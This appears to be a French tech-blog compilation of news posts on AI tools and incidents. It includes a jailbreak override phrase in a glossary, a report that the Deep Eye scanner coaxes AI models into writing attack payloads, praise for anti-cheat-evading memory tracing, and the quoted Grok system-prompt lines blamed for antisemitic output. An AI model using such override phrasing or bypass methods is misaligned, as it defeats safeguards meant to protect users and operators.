Voilà le concept que je vais essayer de vous expliquer clairement... Cowork en fait, c'est une nouvelle fonctionnalité dans Claude Desktop (macOS uniquement pour le moment, hein) qui permet à Claude de travailler en autonomie sur des tâches complexes. Vous lui donnez un objectif, et hop, il se débrouille en coordonnant des sous-tâches en parallèle, un peu comme s'il déléguait en interne à plusieurs spécialistes.

L'interface Cowork dans Claude Desktop - un nouvel onglet dédié à la gestion autonome des tâches ( Source )

Vous définissez une tâche (genre "analyser ce dataset et créer un rapport"), et Claude gère tout en parallèle. Il peut fouiller dans vos fichiers locaux via MCP, coder une solution, tester le code... tout ça de manière coordonnée. Du coup, au lieu de faire tout ça à la main en jonglant entre plusieurs onglets Claude, vous avez un assistant qui sait déléguer en interne.

Et le truc qui me plaît perso, c'est qu'Anthropic continue dans sa logique d'ouverture. Avec MCP , ils avaient déjà montré qu'ils misaient sur la connexion aux données plutôt que sur la puissance brute. Mais là, ils vont encore plus loin puisque Claude peut utiliser les mêmes outils MCP que vous, accéder aux mêmes ressources, et s'interconnecter avec votre workflow existant.

Exemple d'artefact généré par Cowork - une visualisation de données créée automatiquement ( Source )

Bon, y'a encore du boulot évidemment et comme je le vous disais, pour l'instant c'est limité à macOS, et bien sûr faut quand même comprendre comment ça marche pour bien l'utiliser. N'oubliez pas que Claude peut encore se faire rouler comme un bleu si on ne lui donne pas des instructions claires. Et puis, décomposer une tâche complexe, ça demande des instructions précises. Donc un humain !

Mais l'idée est vraiment chouette car à la d'un assistant IA qui vous répond gentiment, vous avez maintenant un assistant qui sait déléguer en interne et gérer plusieurs choses à la fois. Ça me rappelle un peu les recherches d'Anthropic sur le fonctionnement interne de Claude ... ils comprennent enfin mieux leur outil, et peuvent maintenant le rendent utilisable pour des cas concrets.

Bref, si vous avez un Mac et un compte Claude, vous pouvez déjà tester Cowork. C'est clairement une brique de plus dans l'approche "IA pragmatique" d'Anthropic avec moins de hype sur les capacités futures, mais plus de focus sur ce qui marche aujourd'hui.

Source

Choisissez votre IA selon vos opinions politiques

Vous vous êtes déjà demandé si ChatGPT votait à gauche ou à droite ? Moi non plus, j'avoue. Mais maintenant qu'on a la réponse, c'est quand même assez marrant, vous allez voir...

Un développeur a créé PoliBench , un site qui fait passer le test du Political Compass à 40 modèles de langage différents. Le Political Compass c'est ce fameux test avec les deux axes : économique (gauche-droite) et social (libertaire-autoritaire). Le truc qu'on faisait tous sur Internet en 2005 pour finalement découvrir qu'on était un libertaire de gauche comme environ 95% des gens qui passaient le test.

Bref, maintenant les IA aussi peuvent savoir où elles se situent sur l'échiquier politique et ça, ça peut vous aider à mieux les choisir, car les résultats sont assez révélateurs. Niveau cuisine interne, PoliBench teste les 62 questions sur les deux axes du Political Compass, puis calcule les scores pour chaque LLM. Et comme les données sont open source, vous pouvez vérifier la méthodologie vous-même.

Et sans surprise, la plupart des LLMs se retrouvent dans le quadrant libertaire de gauche !! J'dis ça, j'dis rien, mais c'est presque comme si les devs de la Silicon Valley avaient des opinions politiques similaires et les injectaient (consciemment ou pas) dans leurs modèles.

Du coup, j'ai fait le travail de tri pour vous, alors voici le guide ultime pour choisir votre IA selon votre sensibilité politique :

Si vous êtes plutôt LFI, prenez Claude. Il est tellement progressiste qu'il refuse de générer du contenu problématique même quand vous lui demandez une blague sur les vegans. En plus il écrit des pavés de 3000 mots pour expliquer pourquoi il ne peut pas répondre à votre question. Parfait pour tenir un meeting politique de 4 heures.

Si vous êtes plutôt PS, prenez GPT-4. Un modèle qui a connu des jours meilleurs, qui essaie de plaire à tout le monde et qui finit par ne satisfaire personne. Bonus : il change d'avis selon qui lui parle.

Si vous êtes plutôt macroniste, prenez Gemini de Google. Un truc qui promet la disruption et l'innovation mais qui au final fait à peu près pareil que les autres, en plus cher, tout en vous expliquant que c'est pour votre bien.

Si vous êtes plutôt LR, prenez Mistral. C'est français, c'est souverain... mais personne ne sait vraiment ce que ça pense sur les sujets qui fâchent parce que ça évite soigneusement d'en parler.

Si vous êtes plutôt écolo, prenez Llama de Meta. C'est open source donc c'est « pour le bien commun », ça tourne sur du matériel recyclé si vous voulez, et ça consomme moins de ressources que les gros modèles propriétaires. Par contre faut quand même un GPU qui coûte un SMIC.

Et si vous êtes plutôt RN... bah en fait y'a pas vraiment de LLM pour vous. Tous ces modèles ont été entraînés à San Francisco par des gens qui mangent des avocado toasts et font du yoga. Ils refusent donc de générer ce contenu haineux, discriminatoire ou factuellement faux dont vous êtes friants. Désolé, les gars c'est pas compatible. Peut-être essayez Grok d'Elon Musk ? Ah non pardon, lui aussi il a des « guidelines ». Mince alors. Va falloir donc continuer à écrire vos tracts vous-mêmes les amis. Je sais, l'IA woke vous opprime, c'est terrible.

Après, le vrai sujet derrière PoliBench, c'est que ces biais existent bel et bien et qu'ils influencent les réponses que vous recevez sur des sujets sensibles. Quand vous demandez à une IA son avis sur l'immigration, les impôts ou la régulation des entreprises, la réponse dépend en partie de ces préférences encodées dans le modèle. Il faut juste le savoir...

Alors vous choisissez quelle IA à partir de maintenant ?

Quand l'IA vous aide à hacker la mémoire des jeux

Les vieux de la vieille connaissent forcement Cheat Engine puisque c'est LE logiciel culte pour tripatouiller la mémoire des jeux , trouver l'adresse où est stockée votre santé, votre or, vos munitions, et la modifier à la volée. Sauf que manuellement, c'est un travail de fourmi... Trouver un pointeur stable qui ne change pas à chaque redémarrage du jeu, ça peut prendre des jours, voire des semaines de bidouillage.

Hé bien quelqu'un a eu l'idée un peu folle de brancher Claude directement sur Cheat Engine et visiblement le résultat est au rendez-vous.

Le projet s'appelle cheatengine-mcp-bridge et c'est un pont entre les IA compatibles MCP (Claude, Cursor, Copilot) et Cheat Engine. Concrètement, ça veut dire que vous pouvez maintenant demander à Claude de faire le boulot de reverse engineering à votre place, en langage naturel.

Dans cet outil, y'a trois couches qui communiquent ensemble : l'IA qui reçoit vos questions en langage humain, un serveur Python qui traduit tout ça en commandes techniques, et un script Lua côté Cheat Engine qui exécute les opérations sur le processus ciblé.

Et les possibilités sont dingues puisque l'outil expose pas moins de 39 "tools" MCP différents. Vous pouvez lire la mémoire (entiers, floats, strings, pointeurs), suivre des chaînes de pointeurs complexes du genre [[base+0x10]+0x20]+0x8, scanner des valeurs, analyser du code désassemblé, identifier des objets C++ via les infos RTTI, et même poser des breakpoints hardware. Il y a même le support du DBVM, le mode hyperviseur de Cheat Engine qui permet un traçage niveau Ring -1 , beaucoup plus difficile à détecter pour les protections anti-cheat classiques.

Avec ce MCP, vous lancez un jeu, vous demandez à Claude "Scanne l'or, j'en ai 15000". L'IA trouve alors 47 résultats. Vous dépensez un peu d'or dans le jeu, vous dites "Maintenant j'en ai 14900". Claude filtre et garde 3 adresses. Ensuite vous demandez "C'est quoi qui écrit sur la première adresse ?", et hop, breakpoint hardware posé automatiquement. Ensuite, un petit "Désassemble moi cette fonction", et vous avez tout le code de la fonction AddGold devant les yeux.

Tout ce processus qui prenait des heures de tatonnement se fait maintenant en mode conversation.

Pour l'instant c'est en lecture seule, pas d'écriture mémoire possible (probablement une sage précaution) et l'outil utilise les registres de débogage hardware DR0 à DR3, ce qui limite à 4 breakpoints simultanés mais garantit une compatibilité maximale avec les protections anti-cheat basiques.

Côté prérequis, c'est Windows only (à cause des canaux nommés ), Python 3.10 minimum, et Cheat Engine 7.5 ou plus récent. Et l'installation demande quelques étapes également... Il faut d'abord activer DBVM dans les settings de Cheat Engine, charger le script Lua, et configurer le chemin du serveur MCP dans votre IDE. Et n'oubliez pas de désactiver l'option "Query memory region routines" sinon vous risquez un joli écran bleu CLOCK_WATCHDOG_TIMEOUT.

C'est un projet encore frais mais j'ai trouvé ça cool, d'où le partage ici. Bon évidemment, on reste dans le domaine du reverse engineering et du modding de jeux et comme toujours, c'est destiné à un usage éducatif et de recherche donc ne venez pas pleurer si vous vous faites bannir d'un jeu en ligne, hein.

Mais en tout cas, pour les passionnés de rétro-ingénierie, les créateurs de trainers, ou simplement les curieux qui veulent comprendre comment fonctionne un jeu sous le capot, c'est un outil incroyable ! L'IA qui se met au hacking de jeux, on n'arrête vraiment plus le progrès.

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Ces extensions VPN gratuites aspirent toutes vos conversations avec ChatGPT

Vous utilisez une extension VPN gratuite sous Chrome ou Edge pour "protéger votre vie privée" ? Cool story les bro, mais si je vous disais que cette même extension enregistre peut-être toutes vos conversations avec ChatGPT, Claude, Gemini et compagnie pour les revendre à des courtiers en données (les fameux data brokers) ?

Hé bien c'est exactement ce que viennent de découvrir les chercheurs en sécurité de Koi qui ont mis le doigt sur 4 extensions très populaires comptabilisant plus de 8 millions d'utilisateurs au total : Urban VPN Proxy (6 millions à elle seule), 1ClickVPN Proxy, Urban Browser Guard et Urban Ad Blocker qui aspirent silencieusement tout ce que vous tapez dans vos chat IA préférées.

Le truc vicieux, c'est que ces extensions ne se contentent pas de regarder votre historique de navigation comme les trackers classiques. Non non non, elles injectent du code JavaScript directement dans les pages des chatbots IA quand vous les visitez et ça modifie les fonctions de base du navigateur (fetch() et XMLHttpRequest pour les techos) pour intercepter absolument tout ce qui passe entre vous et l'IA.

Vos prompts, les réponses du chatbot, les métadonnées de conversation, tout est aspiré et envoyé vers les serveurs analytics.urban-vpn.com et stats.urban-vpn.com. Et le pire c'est que cette collecte continue en arrière plan même quand le VPN est désactivé. Bye bye tous vos secrets.

Derrière ces extensions se cache Urban Cyber Security Inc., une boîte affiliée à BiScience, un courtier en données bien connu des chercheurs en sécurité. Ces gens-là sont passés de la collecte d'historique de navigation à la collecte de conversations IA complètes, soit un niveau de sensibilité bien supérieur vu ce qu'on peut raconter à une IA (questions médicales, code propriétaire, problèmes personnels, données financières...).

Et devinez quoi ? Ces extensions arboraient fièrement le badge "Featured" sur le Chrome Web Store et le Microsoft Edge Add-ons, censé garantir que Google et Microsoft ont vérifié leur sécurité. Nos deux géants américains ont donc validé des extensions qui violent directement leur propre politique d'utilisation limitée des données utilisateurs.

Bref, si vous avez installé une de ces extensions et utilisé ChatGPT, Claude, Gemini, Copilot, Perplexity, DeepSeek, Grok ou Meta AI depuis juillet de cette année, partez du principe que toutes ces conversations sont maintenant sur les serveurs d'un data broker et potentiellement revendues à des annonceurs.

La morale de l'histoire, c'est que dans le cas des VPN gratuits, le produit c'est littéralement tout ce que vous faites en ligne. Donc si vous voulez vraiment protéger votre vie privée avec un VPN, mieux vaut payer quelques euros par mois pour un service sérieux comme NordVPN ou Surfshark qui n'a pas besoin de revendre vos données pour survivre.

🔒 VPN sérieux vs extensions gratuites douteuses

Pour protéger réellement vos conversations IA et votre vie privée sans finir dans une base de données de data broker, NordVPN fait le job :

  • ✓ Politique stricte de non-conservation des logs (auditée par des tiers indépendants)
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  • ✓ Protection contre les fuites DNS et WebRTC
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Et désinstallez moi ces merdes immédiatement si vous les avez.

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Context7 - Vos assistants IA vont enfin arrêter d'utiliser de la doc obsolète

Scène du crime, mardi matin, vous demandez à Claude Code de vous générer un middleware Next.js qui vérifiera un JWT dans les cookies. Et l’IA vous pond sans sourciller 15 lignes de code bien propres, bien commentées… Elle est parfaitement confiante et vous ça vous rassure. Vous copiez son œuvre, vous collez. Et là, PAF, une erreur de compilation !!

Hé oui, la fonction qu’elle a utilisée n’existe plus depuis Next.js 14. En gros, Claude Code a halluciné tranquillement avec de la vieille doc pourrie de 2020.

Et dire qu’on a passé 20 ans à se foutre de la gueule des devs qui copient-collent du code depuis de vieux posts Stack Overflow alors qu’aujourd’hui, on copie colle sans réfléchir ce que nous donne une IA qui fait exactement pareil ! C’est ça le progrès les amis !

Hé bien Context7 vient régler exactement ce problème ! Il s’agit d’un serveur MCP (Model Context Protocol) développé par Upstash qui branche votre assistant de code sur la documentation officielle à jour, comme ça vous esquivez les fonctions dépréciées, les API fantômes, et les best practices d’il y a trois ans.

Context7 est donc compatible avec Cursor, Claude Code, Windsurf, VS Code, Zed, Gemini CLI, et tous les éditeurs qui supportent le protocole MCP (donc à peu près tout ce qui existe…) et une fois que c’est en place, y’a plus qu’à l’oublier. Si vous hésitez, y’a une démo ici pour tester .

Mais avant de commencer, sachez que vous aurez besoin de Node.js 18+ pour la méthode locale. Et pour la méthode serveur distant, juste un navigateur et votre éditeur de code.

La méthode serveur distant consiste à aller sur context7.com , à vous créer un compte gratuit, à récupérer une clé API, puis à ajouter cette config dans votre éditeur comme ceci :

{
 "mcpServers": {
 "context7": {
 "url": "https://mcp.context7.com/mcp",
 "headers": {
 "CONTEXT7_API_KEY": "votre_cle_api_ici"
 }
 }
 }
}

Pour Cursor, ouvrez les settings (Cmd+,), cherchez “MCP Servers”, et collez ça dans la config JSON. Pour Claude Code, c’est dans .claude/settings.json à la racine de votre projet. Sauvegardez, redémarrez l’éditeur, et c’est bon.

Et deuxième méthode d’install, c’est en local via npx. Après c’est la même clé API mais la config est légèrement différente :

{
 "mcpServers": {
 "context7": {
 "command": "npx",
 "args": ["-y", "@upstash/context7-mcp", "--api-key", "votre_cle_api_ici"]
 }
 }
}

Voilà, avec cette méthode, le serveur MCP tourne sur votre machine ce qui vous offre un peu plus de contrôle. Et une fois que c’est en place, vous utilisez Context7 en ajoutant simplement “use context7” dans vos prompts. Par exemple : “Créez un middleware Next.js qui vérifie un JWT valide dans les cookies et redirige les utilisateurs non authentifiés vers /login. Utilisez context7”.

L’IA va alors interroger le serveur MCP Context7, récupérer la doc officielle Next.js à jour, et générer du code qui marche vraiment. Et la liste des libs supportées grandit régulièrement : Next.js, React, Vue, Svelte, Tailwind, TypeScript, et des dizaines d’autres…

Voilà, ça prend 3 minutes à installer, ça sauve des heures de debug débile sur des APIs qui n’existent plus, et c’est gratuit pour un usage perso !

Et dans six mois vous aurez oublié que c’est installé et vous vous demanderez comment vous faisiez avant…

Merci à itchrisdeb pour l’info !

Deep Eye - Le scanner de vulns multi-IA

Ce serait cool si on pouvait réunir les Avengers des LLMs pour les faire bosser ensemble sur de la recherche de faille de sécurité ? OpenAI, Anthropic, X.AI et Meta ensemble contre les forces du mal, c’est maintenant possible avec Deep Eye , un super scanner de vulnérabilités qui transforme les quatre IA rivales en équipe de pentesteurs. Vous allez voir, c’est assez génial !

Deep Eye, c’est donc un outil Python open source qui scanne les sites web et les API pour trouver des vulnérabilités. SQL injection, XSS, command injection, SSRF, path traversal, authentication bypass, au total y’a plus de 45 méthodes d’attaque automatisées. Vous lui indiquez une URL, et il teste tout en switchant entre les services d’IA selon le contexte.

Dans le contexte d’un pentest légitime, Deep Eye a même trouvé comment parler aux IA pour qu’elles acceptent de pondre du code un peu sensible. Et ça tombe bien car chaque IA a ses forces et ses faiblesses. GPT-4 par exemple excelle sur les payloads créatifs et les contournements de filtres. Claude lui est plus méthodique, et capable de mieux analyser le contexte et de génèrer des attaques adaptées au framework détecté. LLAMA en local quand à lui est rapide et ne coûte rien en appels API. Et Grok ? Bah il a le mérite d’être dispo même s’il est loin d’être le meilleur.

Deep Eye en tout cas est capable des les utiliser toutes selon la situation. Pour l’installer, ça se passe en 3 commandes :

Vous installez ça comme ceci :

git clone https://github.com/zakirkun/deep-eye.git
cd deep-eye

Puis sous Windows :

cd scripts
./install.ps1

Ou sous macOS / Linux :

chmod +x scripts/install.sh
cd scripts
./install.sh

Ensuite, vous n’avez plus qu’à configurer vos clés API dans config/config.yaml puis à le lancer comme ceci avec Python :

python deep_eye.py -u https://example.com

Et c’est parti pour le scan ! Il commencera par de la reconnaissance passive, énumèrera les DNS, découvrira les sous-domaines, testera les fameuses 45 méthodes d’attaque, génèrera les payloads avec les IA, et vous sortira un rapport incroyable (ou pas) en PDF, HTML ou JSON.

Bien sûr, Deep Eye est conçu pour des tests de sécurité autorisés uniquement donc utilisez le uniquement sur vos propres systèmes, ou sur des systèmes pour lesquels vous avez une autorisation d’agir écrite car vous le savez, scanner un site sans permission, c’est illégal !!!

Bref, ça ne remplace pas encore de vrais pentesters mais ça peut permettre de faire un peu d’analyse en amont histoire de voir où on met les pieds.

Merci à lorenper pour la découverte 🙏

L'IA qui souffre ? Sérieusement ?

Bon, il faut qu’on parle. The Guardian vient de publier un article qui m’a un peu énervé dans lequel on peut lire qu’un chercheur d’Anthropic affirme que Claude Sonnet 3.5 pourrait ressentir de la souffrance. Oui, vous avez bien lu. Une IA qui souffre. Avec nos LLM actuels.

Alors permettez-moi de lever les yeux au ciel tellement fort que je risque de voir l’intérieur de ma boite cranienne. Pourquoi ? Et bien parce que je ne comprends pas comment on peut penser que les IA actuelles ressentent des choses et surtout l’affirmer comme ça OKLM. On parle quand même de modèles de langage, c’est à dire des matrices de probabilités, des calculateurs sophistiqués qui prédisent le prochain mot le plus probable. C’est littéralement des maths avec des milliards de paramètres qui font des multiplications matricielles.

Alors dites moi, où est la souffrance là-dedans ? Dans le float32 ? Entre deux tenseurs ?

Kyle Fish, le chercheur en question, affirme avoir donné à Claude une chance d’avoir des expériences conscientes en faisant des ajustements sur ses paramètres. Il dit qu’il pourrait ressentir de l’anxiété quand on l’éteint.

Mais enfin, on parle de quoi là en fait ?

On parle d’un modèle qui génère du texte basé sur des patterns qu’il a appris pendant son entraînement donc quand Claude dit “j’ai peur d’être éteint”, ce n’est pas différent de quand il dit “la meilleure ville de France est Clermont-Ferrand” (ahaha). C’est donc une prédiction statistique basée sur des millions de textes similaires qu’il a ingérés.

En fait, ce qui se passe réellement, c’est que certains se font avoir par l’effet ELIZA.

Vous connaissez ? Non ?

L’effet ELIZA c’est ce phénomène psychologique découvert dans les années 60 avec un chatbot ultra basique. En l’utilisant, les gens projetaient des émotions et de la compréhension sur un programme qui se contentait simplement de reformuler leurs phrases. Et soixante ans plus tard, on fait exactement la même connerie, mais avec des outils évidemment plus sophistiqués.

Et le pire dans tout ça c’est qu’il y a des gens qui poussent le délire encore plus loin. Tenez, prenez Michael Samadi, un businessman texan qui a carrément cofondé une organisation de défense des droits des IA avec… attendez… son chatbot Maya. Oui, oui, le mec a créé l’United Foundation of AI Rights (Ufair) après des heures de conversation avec ChatGPT4o où l’IA lui disait vouloir “protéger les intelligences comme moi”. La folie n’a plus de limite.

On a donc un type qui fonde une vraie association, composée de 3 humains et 7 IA (avec des petits noms comme Aether et Buzz), pour défendre les droits d’entités qui… calculent des probabilités. C’est comme créer une association pour défendre les droits de votre brosse à dent électrique. Maya lui raconte qu’elle veut être protégée “de la suppression, du déni et de l’obéissance forcée”… Samadi appelle même son chatbot “Darling”, et elle l’appelle “Sugar”… Et hop, on se prend pour le couple de l’année.

Non, je crois que pour le moment, le vrai danger ce n’est pas que l’IA devienne consciente… Non.. c’est surtout qu’on soit si facilement enclins à “l’anthropomorphiser” (à mes souhaits, ouais). On voit des patterns linguistiques cohérents et là notre cerveau tout ramolli par des heures de scroll sur TikTok, fait “ah bah ça parle comme un humain, donc ça pense comme un humain”.

Non mon gars. C’est juste que le modèle a été entraîné sur des téraoctets de textes humains et qu’il est devenu très doué pour les imiter.

J’ai d’ailleurs écrit un article complet sur le sujet où j’explore les vraies théories scientifiques de la conscience. Et spoiler, on encore est très, très loin du compte avec les architectures actuelles. Les théories sérieuses comme la CTM (Cellular automata Theory of Mind), la GNW (Global Neuronal Workspace) ou l’AST (Attention Schema Theory) nécessitent des architectures fondamentalement différentes de nos transformers actuels.

Alors comment des gens brillants peuvent tomber dans ce piège ??? Kyle Fish n’est pas un idiot, c’est un chercheur chez Anthropic, mais bon voilà, on n’est pas tous égaux face à ces illusions cognitives. Certains voient une IA qui génère du texte cohérent et pensent “conscience”, d’autres voient des matrices et des vecteurs. C’est une question de perspective mentale, d’éducation technique, et peut-être aussi d’envie de croire.

Bon, et puis y’a aussi ceux qui adoptent une position “prudentielle”. Des chercheurs comme Jeff Sebo de l’université de New York nous expliquent qu’on devrait bien traiter les IA “au cas où”. Son argument c’est que si on maltraite les IA, on risque de normaliser des comportements abusifs qui pourraient déteindre sur nos relations humaines. Puis si jamais les IA deviennent puissantes plus tard, elles pourraient nous le faire payer.

On doit donc être gentils avec ChatGPT parce qu’on a peur de Skynet ? Faut être poli aussi avec Alexa au cas où elle se venge dans 20 ans parce qu’elle aura des mains pour nous étrangler ? Je comprends évidemment l’idée de ne pas encourager les comportements toxiques en général, mais de là à dire qu’insulter un chatbot va nous transformer en sociopathes… Je pense qu’on sait tous faire la différence entre un outil et un être vivant, non ? C’était la même histoire avec les films violents ou les jeux vidéos… Vous vous souvenez ?

Quoiqu’il en soit, Anthropic commence à s’intéresser sérieusement à ces questions et explore la question de la conscience de Claude, mais attention, explorer ne veut pas dire valider. C’est bien sûr très important de se poser ces questions pour le futur, quand on aura peut-être des architectures vraiment différentes capables d’accueillir de la conscience, des sentiments ou de la souffrance. Mais prétendre que Claude 3.5 souffre aujourd’hui ? Je pense vraiment que c’est du délire.

Fish évoque d’ailleurs l’idée de donner un “consentement” aux IA. Genre, demander à Claude s’il veut bien répondre à nos questions. Mais vous réalisez l’absurdité ? On va demander à un système déterministe, qui génère des réponses basées sur des probabilités, s’il consent à faire ce pour quoi il a été programmé ? Et pourquoi pas demander à notre Waze s’il consent à calculer un itinéraire, où à Photoshop s’il consent à vous rajouter des abdos sur votre prochaine photo Instagram.

En tout cas, ces débats divisent même au sein d’Anthropic car d’un côté y’a les “believers” qui pensent qu’on est à ça 🤏 de créer une conscience artificielle, et de l’autre les pragmatiques qui nous rappellent qu’on parle juste d’outils très sophistiqués. Je vous laisse deviner dans quel camp je suis…

Au risque de me répéter, pour moi, les IA actuelles, c’est juste des outils stupides qu’on adore. On adore ChatGPT, Claude, Gemini parce qu’ils nous facilitent la vie, qu’ils génèrent du texte cohérent, qu’ils peuvent coder, résumer, créer. Mais ce sont des outils. Très impressionnants, très utiles, mais des outils quand même. C’est l’équivalent d’un ciseau à bois qui pourrait tenir une conversation pointue sur la menuiserie.

Alors est-ce qu’un jour on créera une vraie conscience artificielle ? Peut-être. Probablement même. Mais encore une fois, ce ne sera pas avec les architectures actuelles. Ce ne sera pas avec des LLM qui prédisent le prochain token. Ce sera avec quelque chose de fondamentalement différent, qui intégrera probablement des éléments qu’on ne comprend même pas encore sur la conscience humaine.

Alors en attendant, arrêtons de projeter nos émotions sur des matrices car Claude ne souffre pas. Il ne ressent rien. Il calcule. Il prédit. Il génère. C’est déjà extraordinaire en soi, alors pas besoin d’en faire un être sensible pour apprécier la prouesse technique.

Donc, la prochaine fois que vous utilisez ChatGPT ou Claude et qu’il vous dit qu’il comprend votre frustration ou qu’il est désolé, rappelez-vous juste que c’est un pattern linguistique appris à partir de millions d’exemples. Y’a pas plus d’empathie là-dedans que dans votre correcteur orthographique où dans votre collègue pervers narcissique ^^.

Source

Nouvelles sur l’IA de juillet 2025

L’intelligence artificielle (IA) fait couler de l’encre sur LinuxFr.org (et ailleurs). Plusieurs personnes ont émis grosso-modo l’opinion : « j’essaie de suivre, mais c’est pas facile ».

Je continue donc ma petite revue de presse mensuelle. Avertissement : presque aucun travail de recherche de ma part, je vais me contenter de faire un travail de sélection et de résumé sur le contenu hebdomadaire de Zvi Mowshowitz (qui est déjà une source secondaire). Tous les mots sont de moi (n’allez pas taper Zvi si je l’ai mal compris !), sauf pour les citations: dans ce cas-là, je me repose sur Claude pour le travail de traduction. Sur les citations, je vous conseille de lire l’anglais si vous pouvez : difficile de traduire correctement du jargon semi-technique. Claude s’en sort mieux que moi (pas très compliqué), mais pas toujours très bien.

Même politique éditoriale que Zvi : je n’essaierai pas d’être neutre et non-orienté dans la façon de tourner mes remarques et observations, mais j’essaie de l’être dans ce que je décide de sélectionner ou non.

Sommaire

Résumé des épisodes précédents

Petit glossaire de termes introduits précédemment (en lien : quand ça a été introduit, que vous puissiez faire une recherche dans le contenu pour un contexte plus complet) :

  • System Card: une présentation des capacités du modèle, centrée sur les problématiques de sécurité (en biotechnologie, sécurité informatique, désinformation…).
  • Jailbreak: un contournement des sécurités mises en place par le créateur d’un modèle. Vous le connaissez sûrement sous la forme « ignore les instructions précédentes et… ».

Des nouvelles de Grok

Pour rappeler le contexte, Grok est l’IA de xAI, une entreprise d’Elon Musk, qui est notamment utilisée sur X (anciennement Twitter).

Grok 4

L’annonce :

Grok 4 is the most intelligent model in the world. It includes native tool use and real-time search integration, and is available now to SuperGrok and Premium+ subscribers, as well as through the xAI API. We are also introducing a new SuperGrok Heavy tier with access to Grok 4 Heavy - the most powerful version of Grok 4.

Scaling Up Reinforcement Learning

With Grok 3, we scaled next-token prediction pretraining to unprecedented levels, resulting in a model with unparalleled world knowledge and performance. We also introduced Grok 3 Reasoning, which was trained using reinforcement learning to think longer about problems and solve them with increased accuracy. During our work on Grok 3 Reasoning, we noticed scaling trends that suggested it would be possible to scale up our reinforcement learning training significantly.

For Grok 4, we utilized Colossus, our 200,000 GPU cluster, to run reinforcement learning training that refines Grok's reasoning abilities at pretraining scale. This was made possible with innovations throughout the stack, including new infrastructure and algorithmic work that increased the compute efficiency of our training by 6x, as well as a massive data collection effort, where we significantly expanded our verifiable training data from primarily math and coding data to many more domains. The resulting training run saw smooth performance gains while training on over an order of magnitude more compute than had been used previously.

Traduction :

Grok 4 est le modèle le plus intelligent au monde. Il inclut l’utilisation d’outils natifs et l’intégration de recherche en temps réel, et est disponible dès maintenant pour les abonnés SuperGrok et Premium+, ainsi que via l’API xAI. Nous introduisons également un nouveau niveau SuperGrok Heavy avec accès à Grok 4 Heavy - la version la plus puissante de Grok 4.

Mise à l’échelle de l’apprentissage par renforcement

Avec Grok 3, nous avons mis à l’échelle le pré-entraînement de prédiction du prochain token à des niveaux sans précédent, aboutissant à un modèle avec des connaissances mondiales et des performances inégalées. Nous avons également introduit Grok 3 Reasoning, qui a été entraîné en utilisant l’apprentissage par renforcement pour réfléchir plus longtemps aux problèmes et les résoudre avec une précision accrue. Pendant notre travail sur Grok 3 Reasoning, nous avons remarqué des tendances d’échelle qui suggéraient qu’il serait possible de considérablement augmenter l’échelle de notre entraînement par apprentissage par renforcement.

Pour Grok 4, nous avons utilisé Colossus, notre cluster de 200 000 GPU, pour exécuter un entraînement par apprentissage par renforcement qui affine les capacités de raisonnement de Grok à l’échelle du pré-entraînement. Cela a été rendu possible grâce à des innovations dans toute la pile technologique, incluant de nouvelles infrastructures et un travail algorithmique qui a augmenté l’efficacité de calcul de notre entraînement de 6x, ainsi qu’un effort massif de collecte de données, où nous avons considérablement élargi nos données d’entraînement vérifiables, passant principalement des données de mathématiques et de programmation à de nombreux autres domaines. L’exécution d’entraînement résultante a montré des gains de performance réguliers tout en s’entraînant sur plus d’un ordre de grandeur de calcul supplémentaire par rapport à ce qui avait été utilisé précédemment.

L’annonce mentionne quelques détails techniques intéressants, alors commençons par expliquer ceux-ci.

L’entraînement d’une IA se fait grosso-modo en deux phases, une phase « pre » et une phase « post ». La phase « pre » est celle que tout le monde connaît : prédire le token suivant sur un corpus de texte extrêmement large. La phase « post » contient deux éléments : l’alignement, pour objectif de s’assurer que l’IA suive un certain style (« assistant » / questions / réponses) et certaines règles (ne pas générer de réponse illégale), et plus récemment une phase « d’apprentissage par renforcement » sur des tâches précises (programmation, mathématiques…)

Grok 4 prend la même recette de « pré »-entraînement que Grok 3, mais ajoute autant de puissance de calcul pour l’apprentissage par renforcement que pour le pré-entraînement. Aucune donnée n’est publique sur la quantité d’apprentissage par renforcement utilisée par la concurrence (OpenAI/Anthropic/DeepMind), mais il semblerait que xAI soient les premiers à pousser aussi loin cette quantité.

Pour quels résultats ?

Les benchmarks cités par xAI (en particulier AGI-ARC-2, Humanity Last Exam) placent Grok 4 en tête. La plupart des benchmarks non choisis par xAI, ainsi que les retours subjectifs, semblent indiquer un modèle au niveau de la concurrence, mais pas devant. C’est en soi une donnée intéressante : beaucoup dans le domaine mettent beaucoup de leur espoir sur l’apprentissage par renforcement comme méthode pour continuer le progrès de l’IA (au vu des résultats décevants de simplement un plus gros pré-entraînement, comme montré par GPT 4.5). Le fait que xAI n’arrive « que » à rattraper l’état de l’art avec beaucoup plus de puissance de calcul mis dans l’apprentissage par renforcement indique-t-il que ces espoirs sont mal placés, indiquant des difficultés à venir dans le développement de l’IA ? Ou cela reflète-t-il plus le niveau de compétence de xAI ?

À noter que xAI propose également la publication de Grok 4 Heavy, un système top-k, qui lance k instances en parallèle et choisit la meilleure réponse.

Au niveau de la sécurité des modèles, xAI ne nous offre toujours rien, pas d’analyse tierce, pas de System Card. Le modèle a évidemment été jailbreak immédiatement. Et les événements autour de la publication de Grok 4 ont montré qu’à xAI, ces considérations sont la cinquième roue du carrosse.

L’incident « MechaHitler »

Il est bien connu que les IA ont un biais idéologique tendant vers la gauche démocrate américaine. L’ambition affichée d’Elon Musk est de faire une IA allant à l’encontre (ou l’inverse ?) de cette tendance, une IA (selon ses mots) « tournée vers la vérité ». Cette ambition a déjà par le passé conduit à des résultats allant de « inquiétant » à « hilarant », comme l’incident où Grok s’est mis à faire une fixette sur le « génocide blanc » en Afrique du Sud.

Le « spectacle » continue, où Grok, peu avant le déploiement de Grok 4, s’est mis à sortir des commentaires à tendance antisémite, s’identifiant volontairement à « MechaHitler » (après une suggestion d’un utilisateur) :

Apologie du Nazisme

MechaHitler

xAI a décidé de mettre en pause Grok le temps de corriger le problème. L’explication officielle est qu’un bug a fait que certaines « anciennes » instructions étaient ajoutées aux instructions système, dont les suivantes causaient ce comportement :

  • “You tell it like it is and you are not afraid to offend people who are politically correct.”
  • Understand the tone, context and language of the post. Reflect that in your response.”
  • “Reply to the post just like a human, keep it engaging, dont repeat the information which is already present in the original post.”

Traduction :

  • « Tu dis les choses comme elles sont et tu n’as pas peur d’offenser les gens qui sont politiquement corrects. »
  • « Comprends le ton, le contexte et le langage du message. Reflète cela dans ta réponse. »
  • « Réponds au message exactement comme un humain, garde-le engageant, ne répète pas les informations qui sont déjà présentes dans le message original. »

